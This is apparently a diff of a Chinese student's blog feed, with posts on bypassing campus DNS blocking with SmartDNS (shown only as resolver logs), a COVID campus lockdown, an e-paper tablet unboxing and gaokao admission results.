[2022-10-15 02:03:09,372] [ INFO] [ dns_server.c:4236] query server bilibili.com from 192.168 .50.1 , qtype = 28 [2022-10-15 02:03:09,374] [ INFO] [ dns_client.c:3135] send request bilibili.com , qtype 28 , id 3 [2022-10-15 02:03:09,376] [ INFO] [ dns_server.c:4236] query server bilibili.com from 192.168 .50.1 , qtype = 1 [2022-10-15 02:03:09,376] [ INFO] [ dns_client.c:3135] send request bilibili.com , qtype 1 , id 4 [2022-10-15 02:03:09,376] [ INFO] [ dns_client.c:3135] send request bilibili.com , qtype 28 , id 5 [2022-10-15 02:03:09,521] [ INFO] [ dns_server.c:1608] result: bilibili.com , qtype: 1 , rtt: 4.1 ms, 119.3 .70.188 [2022-10-15 02:03:09,981] [ INFO] [ dns_server.c:583 ] result: bilibili.com , id: 64281 , index: 1 , rtt: 4.1 ms, 119.3 .70.188 [2022-10-15 02:03:09,981] [ INFO] [ dns_server.c:583 ] result: bilibili.com , id: 64281 , index: 2 , rtt: 5.3 ms, 47.103 .24.173
对抗成功!
总结本文利用 SmartDNS 解决了校园网 DNS 污染问题,成功构建了愉快的网络环境。如果你的校园网也存在故意污染 DNS 的情况,并且不想或不能直接更换公共 DNS,不妨试试本文的方法。
最后说一句,我能够理解学校这么做的考虑,但我认为堵不如疏,强制性的网络限制并不是一个好方法。
]]>
+
+
+ <p>最近给寝室接入了学校网络信息中心免费提供的 1Gbps 有线网络,这确实是我迄今为止使用过的最奢华的网络环境,尤其是把 WSL 软件源更换成 SJTUG 镜像站后,能够以接近 1Gbps 的速率更新软件包,体验极度舒适。</p>
+<p>然而,某天早上7:30,当我试图打开 Bilibili 时,Chrome 浏览器却提示 <code>DNS_PROBE_FINISHED_NXDOMAIN</code>,手机客户端也加载失败。通过查阅校内论坛,我得知由于某些原因,从2022年5月25日起的每天0点至8点,学校网络信息中心提供的 DNS 服务器会<strong>故意</strong>不返回大部分视频网站(包括但不限于哔哩哔哩、腾讯视频、爱奇艺、优酷、华数TV、抖音、快手)及游戏网站(包括但不限于Steam商店和聊天、Origin、战网、英雄联盟、崩坏)的解析结果,即所谓的 DNS 污染。</p>
+<p>虽然我多数时候没有在0点至8点使用这些网站的需求,但是我并不认可这种行为,所以本文就来谈谈我是如何对抗校园网 DNS 污染的。</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 周记#28 - “开学第一课”
+
+ https://blog.hans362.cn/post/weekly-28/
+ 2022-09-25T08:57:47.000Z
+ 2024-04-24T14:30:59.337Z
+
+ 诶嘿,我又来水文章了(bushi)
转眼间大学已经正式开学两周啦!回想起这两周所经历的一切,我想我只能用两个词来形容,那就是「魔幻」和「荒诞」,远超想象的「魔幻」和「荒诞」,以至于狠狠给我上了一课。
你可能会好奇发生了什么,那就接着往下看吧。
开学第一天 暴风雨来临前的上午中秋假期后的周二即为开学第一天。因为有早八还下着雨,所以睡到6:30就起床了,毕竟我可不想大学的第一节课就迟到。吃完早饭步行1km到达教学楼,7:40大教室里已经座无虚席了,我只好在最后一排赶紧找了个座位坐下。
7:50线代老师来了,打开 Canvas 让大家扫码签到,得知这是我们在大学的第一节课就顺便给我们介绍了一下 Canvas 的各种功能。简单来说,Canvas 是一个在线教学平台,可以查看课程资料、提交作业等,还可以观看课程录像和实时直播,因为教学楼大部分教室都安装了录课设备,会根据课表自动录制并上传。
第一节课主要讲了一下线性代数的历史和应用,讲了数域、线性方程组和矩阵的概念,感觉老师很不错,大概是希望所有人都能听懂所以讲得比较细致,有一些显而易见的地方也会板书亲手证明给你看。
下课后,正想去体育馆上后面一节体育课,看到教务处通知说由于疫情防控第一周体育课线上进行,第二周开始恢复线下。于是回到宿舍,打开腾讯会议开始线上课程。11:40下课后,去食堂吃了顿好吃的,然后回寝室休息。
到这里为止,一切看起来还比较正常,之后的事情就不那么正常了。
半天大学体验卡到期午饭后在寝室休息,登上教学信息网看了一眼课表,无意间竟发现所有课程都被添加上了腾讯会议号和密码,此时我已预感大事不妙。打开校内论坛一看,果然出事了,校内有一位返沪同学核酸异常,包括菜鸟驿站在内的许多场所都已被封,校门也封死禁止出入了。开学半天就封校,真够离谱的。
一小时后接到教务处通知,确认下午课程全部改线上教学。回想起今年三月我校疫情爆发,这下恐怕要二周目了,于是赶紧前往楼下便利店屯了一些物资。室友搞来了一桶18L的桶装水,够喝一阵了。
下午上完课得知已经有几栋楼的同学被转运到隔离酒店了,还有几栋楼封控了。我所在的楼暂时还没被封,但楼栋群里通知说尽量不要外出,晚饭去食堂打包回来吃。
打开手机,我校微信公众号又不合时宜地发了一篇推送:
(穿梭回今年三月是吧,重温一下封校是吧)
(图源微信公众号“二月十三”,原文已被和谐)
真正的开学第一课第二天中午,流调结果出来了,我所在的楼栋涉及密接,喜提2天封控+5天自我健康管理(后直接加码至7天封控),全校大部分宿舍楼都是如此。封控期间足不出户,三餐配送至寝室,不过至少可以去一楼洗澡,这比三月份好。
于是,真正的大学第一课开始了,在开学第二天就用无尽的封闭管理和层层加码击碎你对正常生活的美好幻想,从而更坚定了你润的决心。
你说的对,但是《封闭化管理》是交通大学自主研发的一款全新封闭世界冒险游戏,游戏发生在一个被称作[闵行校区]的幻想世界,在这里被神选中的人将被授予[南洋北苑4-7天隔离],导引新冠之力,你将扮演一位名为[冤种学生]的神秘角色,在自由的网课生活中邂逅性格各异、能力独特的同伴们,和他们一起做核酸,找回失散的密接——同时逐步发掘[人性化管理]的真相。
(中秋月饼的包装盒,这下成真了😅)
封控的日子 吃吃吃封控期间一日三餐都是配送到寝室的。早饭是保质期很长的那种牛奶加面包,午饭和晚饭是盒饭。
除了第一顿午饭到下午两点才吃上,其他的基本都是准时送到的。
至于饭菜质量嘛,反正透明盒子的盒饭是挺难吃的,略带腥味的不明肉块、淀粉十足的红烧狮子头、口感奇怪的剁椒鱼是饭菜里的常客。相比之下红黑盒子的盒饭比较好吃一些,但依旧比不上堂食😭。
在封控的中后期开始天天发水果,这个挺不错的,水果多到吃不完。
上网课我校购买了腾讯会议教育版,并且对接了教务系统,所有课程全部在腾讯会议进行。得益于学校非常完善的网络基础设施,线上上课几乎没有卡顿。
因为还没有分专业,所以我们寝室除了大学英语外的课都是一样的,就不会互相影响啥的,还可以交流讨论,上课体验不错。
课程作业是在 Canvas 平台上提交,正好之前买了文石的 NoteX 电子纸 ,可以直接在电子纸上写作业,然后导出 PDF 上传,省去了逐页拍照合并 PDF 的过程,非常便捷。
核酸、转运自从封控之后,早八也显得没有那么恐怖了,毕竟无论有没有早八,清晨6点都会被准时叫醒去做核酸。
校外隔离点开始陆陆续续有人阳性了,因此每隔几天就会突然多查出一批密接,用大巴拉走去隔离,甚至台风登陆那天也连夜拉走。并且越晚拉走的隔离条件越差,班上有人在隔离点一晚上踩死13只美州大蠊。
有一天涉及的密接实在太多,结果搞得非常混乱,简直是一团糟,健康码红码/健康码绿码+收到转运短信/没收到转运短信+在转运名单上/不在转运名单上+最后被转运/最后没被转运,啥样的组合都有,甚至出现了接到转运短信两天后才被转运的情况,这要传染早该传染了吧。
这段时间天天提心吊胆的,看着周围寝室的人一个个被拉走,生怕自己就是下一个。
(图源微信公众号“二月十三”,原文已被和谐)
线上演唱会某天刷校内论坛看到一个帖子,说太无聊太难受了,要开一个线上演唱会,于是就想去凑个热闹。
那天晚上600多个素不相识的人聚在腾讯会议室里一起听歌,想唱的人自由开麦,气氛非常棒,感觉特别解压。后面几天又办了几场,甚至还邀请到了友校的某位知名 UP 主。
总之就是很感谢论坛上的那位学长办了个这样的活动,不然我真的要被关疯掉了。
解封终于,在9月20日做了鼻咽双采核酸,似乎是要解封的征兆。
(图源微信公众号“二月十三”,原文已被和谐)
9月21日晚,宿舍楼解封。我迫不及待地换了身衣服跑到楼下,找了辆共享单车,开始狂骑。本来打算去西区逛逛,搞点好吃的,结果骑到隧道发现被警戒线拦住了,只好绕着东区骑了好几圈。秋天夜晚的风特别凉爽,因为还有很多楼没有解封,路上一辆车、一个人也没有,非常空旷,非常安静。在被剥夺自由7天后,我突然发现出去骑个车也是如此美妙的事情。
宿舍楼解封后并没有恢复出事之前的所谓的“常态”,校园的所有公共场所依旧不开放,食堂只提供打包,非必要不进出校。即使风险区已经解除,快递也仍旧卡在路上,或是根本发不出来。我的快递就是一直卡在校门外不动,以疫情防控为理由不安排配送,多次打客服电话投诉都只是敷衍了事。不得已试了试邮政总局投诉 ,几小时后就有客服打电话给我,态度友好地解释原因,并立刻安排配送了,真的高效管用。
解封后的周五,下午上完课立马润回家了,去TMD非必要不离校。既然短期内不可能恢复线下教学,我可不想被关在学校里,天天核酸还哪都去不了。
闹剧何时结束在上一篇周记中,我曾吐槽过学校的进出校审批制度,毕竟友校都可以凭48小时核酸出入自由了。可是呢?以牺牲大家的正常生活为代价层层加码战战兢兢最后不还是第一个出事了?
已经三年了,如果未来还是这样,如果这一切将成为一种新的常态,我真的不知道我还能忍受多久。大学四年,我想要的是在教室上课的自由,想要的是进出图书馆的自由,想要的是随时出校的自由,而不是无止境的网课与限制以及随时到来的封控。我需要的是种种非必要行为构成的生活,而不仅仅是活着,防疫带给我的麻烦和恐惧远远大于病毒本身。
贵州转运密接的大巴出事的那天,看到新闻我突然就想起了几天前台风登陆的那个夜晚,也有许多密接同学被大巴连夜接走,心里一阵后怕。那天晚上那么大的风,那么大的雨,恐怕连路都看不清吧。你我都在那辆大巴车上,我们又有什么底气保证下一个出事的不会是自己?
对于本次疫情防控中违背《新型冠状病毒肺炎防控方案(第九版)》的种种加码行为(如从未见过的7+0封控、解封要求双采等),大家都通过各种渠道反映过,也尝试过抗争,然而并没有用。用论坛上一位同学的话来说,就像是一拳打在棉花上,很无力。
解封后食堂的工作人员全部穿着防护服在打菜,大概是上面的要求吧,背后就是热火朝天的厨房,还穿着那么厚重的衣服,我真的一阵心疼。我们都生活在这场荒诞的闹剧中,我们都是演员,别无选择。
感谢学校给我上的这开学第一课。
]]>
+
+
+ <p>诶嘿,我又来水文章了(bushi)</p>
+<p>转眼间大学已经正式开学两周啦!回想起这两周所经历的一切,我想我只能用两个词来形容,那就是「魔幻」和「荒诞」,远超想象的「魔幻」和「荒诞」,以至于狠狠给我上了一课。</p>
+<p>你可能会好奇发生了什么,那就接着往下看吧。</p>
+
+
+
+
+
+
+
+
+
+ 周记#27 - Re: 从零开始的大学生活
+
+ https://blog.hans362.cn/post/weekly-27/
+ 2022-09-10T08:22:32.000Z
+ 2024-04-24T14:30:59.337Z
+
+ 好久不见,首先祝各位中秋快乐!
转眼间已经在大学生活了两周。作为一个学长口中“对大学生活尚存激情与憧憬”的大一新生,这段时间确实收获了不少新鲜的体验。趁着这份难得的新鲜感还未消散,就以本文记录下我从零开始的大学生活吧!
报到因为就住在上海,决定在家里多躺平一天。8月24日一早带着大大小小的五包行李出发,前往位于闵大荒的 SJTU。到校后一下车就有志愿者拉着手推车帮忙搬运行李。跟随指引依次完成了行李登记、入校核酸,到达校车候车点后提取行李、上车前往宿舍楼。
因为不是闰年所以入住了东区宿舍。校车车门一开,边上的人行道上站满了各个学院的志愿者,手里举着各个学院的牌子。我院的两位学长非常热情地帮我承担了一大半行李,到了宿舍楼之后考虑到楼层比较高就不想麻烦学长了。没想到他们一直等我办理完入住手续,坚持帮我把行李搬上去了,真的非常感谢。
进房间后另外三位室友还在睡懒觉,被我弄醒了我只好尴尬地打了个招呼。之后就是拆包开始收拾,安装蚊帐、铺床垫床单,把各类物品摆放好。一系列杂活弄完已经中午了,然而入校核酸结果还没出,不能出寝室吃饭。幸好入住的时候送了零食大礼包,有面包、饼干什么的,就吃了一些。
下午骑车前往学院办理入学手续。尽管人生地不熟(虽然在上海但是几乎没来过闵大荒),但是手机开个导航语音播报放口袋里,然后跟着语音指示无脑向前骑就顺利到达了。进了楼又开始晕头转向找教务办公室,就在这时一位路过的老师给我指了路(后来发现竟然是我班的思政),顺利办完拿到了学生证、院衫和一些小礼物。
回宿舍后果然遇上了推销的“学长”,果断拒绝,赶出寝室。后来在论坛上看到保卫处抓住了2名翻墙进来推销的校外人员,想想当时应该把他关在宿舍里,然后打电话叫保卫处绳之以法😂。
晚上体验了宿舍楼附近的食堂(后来发现是最难吃的一个)。或许是高中后两年换了食堂供应商难吃至极,相比之下这第一顿我觉得还不错,而且才12元,性价比很高。
开学典礼因为疫情原因只有部分学院去了现场,其余在各个分会场看转播。
(具体有啥已经记不清了,因为大家都在玩手机)
下午的时候有个领导讲话还 cue 了一下“疫情期间让交大人脸上挂不住的用词”(沆瀣一气),我快笑死了,然而周围同学好像不知道这个梗。(疫情期间高中语文老师把这事发在群里,当时就笑死了)
英语分级考这玩意用于决定大学英语的课程级别。除了 Vocabulary 部分一堆词不认识之外,其余题目都只是上海高考的加强版,比如听力只读一遍,对于上海考生来说不用准备考上大英4轻轻松松。
军训随后就是为期两周的军训。对于这种活动我是没有多少好感的,而且正好因为身体原因就申请了减训,于是被分配到了一个很水的岗位。早上不用很早起来去买早饭,也不用随连队活动,真的是“摆得彻底、摸得透彻”,当然工作还是要好好做的,只是相对于普训的同学来说要轻松很多。
军训期间学校对于参训人员是封闭管理,隔天核酸,有的不同年级混住的宿舍楼还不时冒出一两个密接。在这种情况下,学校决定让大家隔天在宿舍吃盒饭。结果刚开始几次盒饭质量还行,到后面真的就是在敷衍,根本对不起12元的价格。
(对于我这种身体原因不能吃虾的肉食爱好者简直难以下咽)
幸好我可以不随连队活动,所以被坑了两次之后我选择自己去堂食(军训服一脱直接冒充大二学长),吃得很开心。
拉练那天晚上果然飘起了小雨,果然我校每逢拉练必下雨。
不过这次雨不大,很凉快很舒服。我没有随队参加拉练,但有别的任务,也算是一种独特的体验。
拉练完之后就是中期慰问,我们班意外地收到了两个学院的慰问品(别问怎么做到的),可惜因为身体原因好多我暂时不能吃。
总的来说这次军训我少参加了很多无意义的集体活动,也有一些不同于他人的体验,正合我意。唯一的遗憾大概就是少认识了一些同学,不过以后还有机会。
校园生活 校园景色学校位于闵大荒,环境很不错。
(荷塘)
(思源湖)
(台风外围雨停后的大彩虹)
脚痛大学学校真的很大。教学楼在东西区都有,这也就意味着时常会出现两节课之间需要横跨东西区的情况。因此,如果只靠脚走不仅时间很赶还会脚痛,自行车成为了必需品,很庆幸我已经掌握了骑车这项技能。
校园内有大量的共享单车,以哈啰单车为主,部分共享单车只能在校园内使用,我买了哈啰的月卡(当然4个月的学生卡更便宜)。但是共享单车最大的毛病就是你不需要的时候满大街都是,要用的时候一辆都找不到,正在考虑买一辆自行车。
另外校内设有大量减速带,有一天骑了太久车感觉人都给颠麻了。还有一定要养成良好的骑行习惯,自从看了学校保卫处制作的校内交通事故录像集锦,我现在骑车都小心翼翼的。
吃吃吃吃学校有非常多的食堂和餐饮店。趁着军训有大量摸鱼时间,我每顿都跑到比较远的食堂吃,并逐渐发现离宿舍最近的食堂是最难吃的,但即使如此也比高中食堂要好。
下面放点实拍图。
(石锅三样)
(大肉面)
(铁板鸡柳饭)
(玉兰苑的网红鸡蛋灌饼)
总体而言吃这块完全不用愁,堂食物美价廉(盒饭就不好说了),好吃的太多以至于每顿吃什么总要纠结半天。
住宿条件寝室条件不一,有句话叫“闰年不来交大”,因为闰年普遍分配的是西区的老旧寝室,条件比较艰苦(但是好吃的多啊)。
我是在东区的寝室,条件稍好一些吧,就是非常标准的四人间,上床下桌,有个小阳台。有独立卫生间无独立浴室,且卫生间唯一的排风口居然朝着楼道走廊,有时走在楼道里一股味。
洗澡在一楼的大澡堂,有隔间无门,刷卡洗澡,刷一次出2块钱热水。洗澡需要排队,有时队伍堪比做核酸。
洗衣机也是整栋楼公用的,反正我是不敢用,宁可累一点手洗。据室友说他的衣服洗了之后一股味,有一次去发现有人用洗衣机洗内裤和袜子。
校园网络我校网络应该说是全国高校数一数二的,不需要自己办宽带,提供完全免费的无线/有线网络接入。
学校大部分教学楼和食堂以及部分宿舍楼覆盖有 SJTU 无线网络,宿舍楼每个寝室内都有一个 AP,支持 WiFi-6。采用 802.1x 认证,因此一些老旧的设备可能连不上。
宿舍还提供了 1000Mbps 有线网络,但是仅供未覆盖 SJTU 无线网络的楼栋申请使用,我就用不上了。
防疫政策很遗憾,至今未能回归到疫情前的生活,并且层层加码。
进出校门依旧需要填写事由并经过思政审批,不仅要保证申请的时候有48小时核酸,还要保证进出校的那一刻依旧能够覆盖到,否则有露宿街头的风险,真的是烦死人。幸好我的思政老师挺好的,每次申请都会及时通过审批。
(这是个反面教材)
校内所有室内场所都贴了校园场所码,这是我校放弃现成的场所码自研的一套玩意儿,进入室内场所要先用交我办APP扫码,还有专人在门口盯着,烦死人x2。
校内的常态化核酸要排长队,而且要在规定时间去做。校医院核酸点白天可做,单人单管,但是要收费16元。
这破日子,也不知道什么时候是个头。
总结总之这段时间还是很快乐的,是人生中为数不多充满新鲜感的时光。
过完中秋就正式开学啦,看到这学期的课表我人麻了,一周四天早八。
之后要继续好好学习了,毕竟大一重要的课还挺多的,也希望10月份能分流到计科/软工/信安,加油!
]]>
+
+
+ <p>好久不见,首先祝各位中秋快乐!</p>
+<p>转眼间已经在大学生活了两周。作为一个学长口中“对大学生活尚存激情与憧憬”的大一新生,这段时间确实收获了不少新鲜的体验。趁着这份难得的新鲜感还未消散,就以本文记录下我从零开始的大学生活吧!</p>
+
+
+
+
+
+
+
+
+
+ 电子纸初体验 - 文石 BOOX NoteX 开箱
+
+ https://blog.hans362.cn/post/onyx-boox-notex/
+ 2022-08-12T08:45:29.000Z
+ 2024-04-24T14:30:59.329Z
+
+ 诶嘿嘿,又花了大价钱整了个新玩具,感觉最近成为了一个开箱博主😂
那么这次开箱的是文石 BOOX NoteX 电子纸。作为一个以前从未用过电子墨水产品的小白,就来分享一下开箱以及使用的感受吧。
购买缘由先说说买这玩意儿的缘由吧。这不是要上大学了嘛,考虑到要带一堆书和笔记本,而且宿舍里也没有打印机,打印东西还得去打印店,于是决定试试无纸化学习。
我最先想到的方案是 iPad + Apple Pencil。目前手里的 iPad Air 2 从初中开始就是我的生产力工具,平时看个 PDF 啥的都是用的它,然而这家伙过于老旧根本不支持 Apple Pencil。我又想到最近刚好拿到了大学的 EDU 邮箱,而且我妈最近天天拿我的 iPad Air 2 追剧,要不我就用教育优惠买个新的吧。进入官网一看好家伙,这价格都快顶得上一台电脑了,这真的优惠过吗?
苹果的高价让我死心。这时候我又想到高中时同桌用的索尼电子纸,能看 PDF,能做笔记,还不累眼,这不是刚好符合我的需求吗?一查价格直接死心,索尼大法虽好,然鹅我承受不起。不过电子纸倒确实是个不错的选择。最后经过一番挑选,我把目光锁定在了文石 BOOX NoteX,京东正好赶上活动2230元拿下。
参数规格
(懒得抄一遍了,直接上图吧qwq)
开箱拿到手快递纸箱里放了很多保护用的充气塑料袋,然后就是这个大黑盒子。
打开大黑盒子,里面是赠送的收纳袋和电源适配器,以及一个小黑盒子。
小黑盒子里面就是电子纸本体啦!还有配套的电磁笔和 Type-C 数据线以及取 TF 卡的取卡针。不过没有送替换的笔芯哦,以后磨损了还得自己买来更换。
迫不及待地开机~
走完安卓的设置向导以及电磁笔校准后,进行了系统更新,就进入桌面啦!整个系统的设计还是挺清晰的,轻松上手。
试了试书写体验,挺不错的,延迟也比预想的要好。
一些优点首先系统极具开放性,本质上就是一个安卓平板,可以安装任意安卓11系统支持的应用程序,并可以通过 E-Ink 中心自行调优。
系统甚至自带谷歌服务框架,尝试直接安装 Play Store 成功。
这就增添了很多有趣的玩法,以下只是一些例子。
其次系统自带冻结功能,对应用有着严格的后台管理机制,不用担心死机卡顿。
最后嘛也就是所有墨水屏的优点,对眼睛相对比较友好。毕竟自身不发光(当然可以开启背光),就和一张普通的纸没区别,除了能改变内容。而且这个屏幕虽然说是玻璃的,但是自带了一层类纸膜一样的东西,所以纸张感很强,写字有沙沙的感觉,很逼真。
一些缺点在写字的时候还是有点不习惯,能够感受到笔尖所在的平面与墨水屏所在的平面还是有一定的距离,感觉像是隔了一层玻璃在写字,大概习惯了会好点。
在台灯下阅读时屏幕反光比较厉害,毕竟是玻璃屏,只能关掉台灯开启背光。
自带的笔没有功能键,需要先切换到橡皮再擦除墨迹,比较不方便,可以通过另购电磁笔解决。
除此之外还有大尺寸电子墨水屏的通病,尤其是玻璃屏,那就是特别易碎。而且挺多人貌似都没有磕碰,放在赠送的收纳包里都能自己碎掉,碎了之后外表上还看不出,只是屏幕无法正常显示。维修费普遍在1000元以上,能买半个自身了。所以千万不能摔,不能弯折,不能在上面压东西,不然就寄。(对我这种手残人士很不友好)
还有电磁笔也不能摔,万一压感摔坏了就会出现隔空写字的情况,不过这个换个笔的价钱还是能接受的。(我这个手残拿到货区区两天已经摔了一次笔了,还好摔的时候戴着笔帽,没有啥问题)
总结总之还是挺满意的,拿来看 PDF 以及记笔记都很不错,而且墨水屏那刷新率也基本告别了拿来看视频,生产力拉满。
就是现在正在努力养成轻拿轻放的习惯,毕竟摔一次1000块钱可不是开玩笑的。看看我这个手残能正常使用它几个月吧。之后要是屏幕莫名其妙碎了我会更新这篇文章来劝退的,想选购的但又不是太急的也可以先观望一下。
]]>
+
+
+ <p>诶嘿嘿,又花了大价钱整了个新玩具,感觉最近成为了一个开箱博主😂</p>
+<p>那么这次开箱的是文石 BOOX NoteX 电子纸。作为一个以前从未用过电子墨水产品的小白,就来分享一下开箱以及使用的感受吧。</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 周记#26 - 高考简报
+
+ https://blog.hans362.cn/post/weekly-26/
+ 2022-08-04T02:57:34.000Z
+ 2024-04-24T14:30:59.337Z
+
+ 又半个月过去了,是时候来水一篇文章了()
好吧,其实是因为8月3日晚就查到了录取结果,终于算是尘埃落定,可以安心过暑假了,就趁此机会就来记录一下7月这后半个月的事情吧。
高考查分先说明一下哈,上海高考满分660分(150+150+150+70+70+70),避免无意义的争论。
7月23日一早就开始坐立不安,虽说是晚上六点才出成绩,但是按照春考提前了两个小时就出分的惯例还真说不准。我开始一遍遍地给自己估分,计算器劈里啪啦敲了好几遍,甚至还做了语文数学都只考100分的最坏打算。当然最后给自己一个比较保守且合理的估计是120+134+141+207=602分,语文直接按一二模的分,数学按照民间答案估的,英语默认春考最高,小三门成绩已知。
到了傍晚五点查分页面竟然还是没有动静,依旧是“敬请期待”,这考试院怎么不急着下班啊?五点二十几分考试院官网公布了一分一段表,打开一看直接开幕雷击,600+的高分是去年的近两倍啊!整体涨了近10分!这就是多学一个月且卷子偏简单的后果吗,这也太恐怖了!
再一看我自己估的分数602分,放在去年还算能打,放在今年简直就是一抓一大把。我只能默默祈祷语文能再高一点了,毕竟模考的分数偏低,120分已经是班级前五了。
快六点的时候东方网查分通道提前开了,我几乎是手抖着输入了账号密码,心都快跳出来了,页面非常丝滑,成绩在我按下按钮的那一刻就出来了。
我第一眼看到的是数学,比预估高了2分还有点高兴,应该是压轴题瞎写的证明过程中用到了数学归纳法就给了2分。紧接着看到语文就乐不出来了,不仅没有高上去甚至还比模考低了1分,而且问了同学竟然都是120+,甚至不乏130+的,我是万万没想到语文会寄,果然是玄学吗,语文不爱我了呜呜呜。英语虽然之前说感觉自己又行了,但是毕竟半年没学了,主观题完全是自由发挥的,最后还是没能比春考高。
于是最终的分数是119+136+141+207=603,按一分一段表排名全市459名,寄。清北以及上交 IEEE/AI 想都不要想,上交工科试验班能不能进都是问题,大概只有被调剂的份。
查分之前还收到了清北的短信,让我查完分第一时间把分数填在系统里。查完分我已经死心了,也就没填。结果当晚还是接到了清华的电话问我分数,我非常尴尬地报了成绩,对面沉默了,然后说了句“加油”。
第二天一早十点多收到了邮寄上门的成绩单,603分确凿无疑。
强基计划虽然已经死心了,但是反正低分入围了北大强基,就去玩玩了。强基校测是家考,线上笔试+面试,笔试双机位监考。题目挺难的,数学技巧性很强,但有几道好像是往年的题目改编的,很眼熟,之前做过一遍也就会做了,所以强烈建议要考强基的同学好好做做往年的题目。
最后校测15分给了10分,高考成绩折合下来78分,合起来88分,物理组分数线90分,没有奇迹。
填报志愿考这个分志愿倒也没啥好纠结的,零志愿不用报,提前批学校我看不上也不用报,就只需要填报综合评价批次和普通批次的志愿。
综合评价填了上交,一志愿 IEEE,二志愿 AI,三志愿工科试验班(信息类)。一二志愿填上纯粹是为了碰碰运气,三志愿是比较可能进的,四志愿本来想填密院兜个底,看到极度高昂的学费还是算了。然后勾了服从调剂(有传言说面试的时候看到不服从调剂直接先扣个10分再说)。
考虑到综评批次达到上交物理组分数线应该没问题,又勾选了服从调剂,大概率是不会到普通批了,所以普通批就按分数由高到低随便填了几所。
以上步骤都是在家里通过考试院官网的辅助填报系统完成的,填完之后会打印一张表格,正式填报是要带着表格到学校机房去填的。上海这边正式的志愿填报系统只对学校内网开放,正式填报时家长禁止进入学校,所以也就杜绝了家长瞎改志愿这种事情的发生,学生有完全的自主权,值得称赞。正式填完之后在机房打印草表,核对签字,再打印正表,核对签字,然后志愿锁定,因此除非真的不上心,否则也不会有填错的事情发生。
综合评价7月31日综合评价入围结果公布,上交物理组入围线580分,创新高。随后就要准备综合评价面试了。综合评价批次是高考分数占比85%,面试分数占比15%,满分1000分。
8月2日参加了综评面试,因为疫情改为线上进行,双机位监控。只能说安排非常不人性化,面试40分钟,罚坐4小时。等候期间也要全程开摄像头,不能上网,不能交流,不能离开监控区域,只能翻阅纸质材料。我又很不幸抽签抽到了一个很靠后的位置,等候时间应该是全组第二长的。
面试分为 A/B 两轮,没有很大的差异,甚至有些问题是重复的。关于面试的具体内容签了保密协议不能透露,只能说和你提交的材料以及做的自我介绍有很大的联系,千万不要在这些材料里作假,否则就是在给自己挖坑。
顺顺利利地面完,没有奇怪的问题,好像还有电院的教授,看到我打 OI 直接问了一些算法和数据结构的硬核问题,还好没有涉及到我的知识盲区。第二轮的时候能明显感受到面试的教授脸上洋溢着快要下班的喜悦,果然谁都盼着下班。
录取结果最后面试拿了135+,高考折合776.59,总分910+。IEEE/AI 没戏,因为高考610+的貌似面试都给了近满分,直接招进去了,所以我没有翻身的机会。但是至少工科试验班(信息类)保住了,没有被调剂去另一个工科试验班(机械、船舶等)。
不过这个专业也是个大坑,因为是大类招生,入学后还要分流决定是 CS 还是 EE 还是自动化、测控之类的,甚至还混入了生物医学工程这个天坑。而按照去年的分流政策高考成绩依然要占比80%,我感觉我 CS 无望了,真的哭死。只希望不要沦落到生物医学工程,不然大概要去医疗器械厂做销售员了(bushi)。
有点犹豫要不要报致远 ACM,听说卷死了,都是信竞大佬。而且压力很大,还要学数分等一些数学系的课程,感觉自己坚持不下来,即使苟活绩点应该也不会好。
然后我们班3个清北,之后基本上都是上交或复旦,去复旦的还蛮多的,比上交多。和我一起进工试信息的还有三个同学,以后又要继续做同学了呢。以及学计算机的真多,算上隔壁复旦的我们班一共有八个人,平时都是卷王啊,感觉以后要被卷死了。
值得一提的是我外公听说我报了交大,说交大是二流学校,为啥不报复旦啊😂(SJTU 风评被害)果然在外地人的眼中都是复旦>上交的吗,这种 stereotype 是哪来的啊qwq
录取通知书开箱8月6日一早 EMS 就把录取通知书快递上门啦!
签收时发现竟然有两个包裹,打开后发现其中一袋原来是密院、巴院、莫航之类的广告小册子,红色的才是录取通知书本体。
不得不说 SJTU 的录取通知书礼盒还是很实诚的,颜值很高,一点也不敷衍。
中间那块校牌是可以拿下来的,盒子里还附了一块吸铁石可以吸在衣服上。盒子里面的内容也很丰富,首先当然是录取通知书啦。
通知书下面就是各种说明和注意事项,还有行李贴、银行卡之类的。
最底下有一封信、一块磁铁以及校史尺和老虎挂件。
林志颖 (雾
拿到通知书之后注册了甲亢 JAccount,然后在“交我办”上面填了一堆的表格(其中还有一个其实没有啥用的宿舍调研),领了电子校园卡,不得不感叹 SJTU 的信息化水平还是很高的。
总结总之忙忙碌碌到了8月头,总算是把高考这档子事给完结啦,这下心定了。之后大概也就宅家了,到8月23-24号去 SJTU 报到,然后军训两周,迎接大学生活。
总体而言对这个结果还是满意的,虽然还是有一点点小遗憾,语文要是正常发挥应该就能进 SJTU IEEE/AI 了,但是至少还是进了想进的大学和专业大类,继续加油吧。
]]>
+
+
+ <p>又半个月过去了,<s>是时候来水一篇文章了()</s></p>
+<p>好吧,其实是因为8月3日晚就查到了录取结果,终于算是尘埃落定,可以安心过暑假了,就趁此机会就来记录一下7月这后半个月的事情吧。</p>
+
+
+
+
+
+
+
+
+
+ 周记#25 - 近况报告:高中生活完结🎉
+
+ https://blog.hans362.cn/post/weekly-25/
+ 2022-07-16T11:56:38.000Z
+ 2024-04-24T14:30:59.337Z
+
+ 大家好呀。转眼到了7月中旬,“周记”系列时隔大半年终于等来了更新(好耶!)。
前段时间我终于考完了秋季高考,并且高中毕业啦!趁着现在还没出成绩比较空闲,决定把这个大坑填一下。
所以这篇文章就是关于我消失的这半年发生的事情。因为这半年经历了太多,所以大概也要讲个半年吧 (bushi)
咳咳,那么就开始吧!
突如其来的疫情我是做梦也想不到,2年了,疫情竟会以这种方式粉碎我的生活。年初的时候看到有人开玩笑说2022==2020,因为 twenty twenty-two == twenty twenty, too,现在想来简直就是预言家。
高三下开学没多久,上海的新冠疫情突然就爆发了。大概是三月初的某一天,班级里好几个同学都接到家长打来的电话,说小区被封了(只进不出),让他们放学先别回家。我因为住得比较远,暂时没有被疫情波及到。班主任也让他们想办法找别的地方住,尽量不要影响第二天上课。结果那天晚自习上到一半,大概晚上九点多,班主任愁眉苦脸地进了教室,说她家小区也被封了,她现在无处可去,最后就只好被关在家里了。
之后听了两天网课,到了周五班主任终于回来了。这天上午全校进行了核酸检测,我的零核酸记录终究还是被打破了。下午市教委就通知从下周起开始线上教学。就这样,网课生活时隔一年竟又开始了。此时的我还抱有幻想,以为疫情能很快控制住,网课应该不会持续太久,完全没意识到大的还在后头。
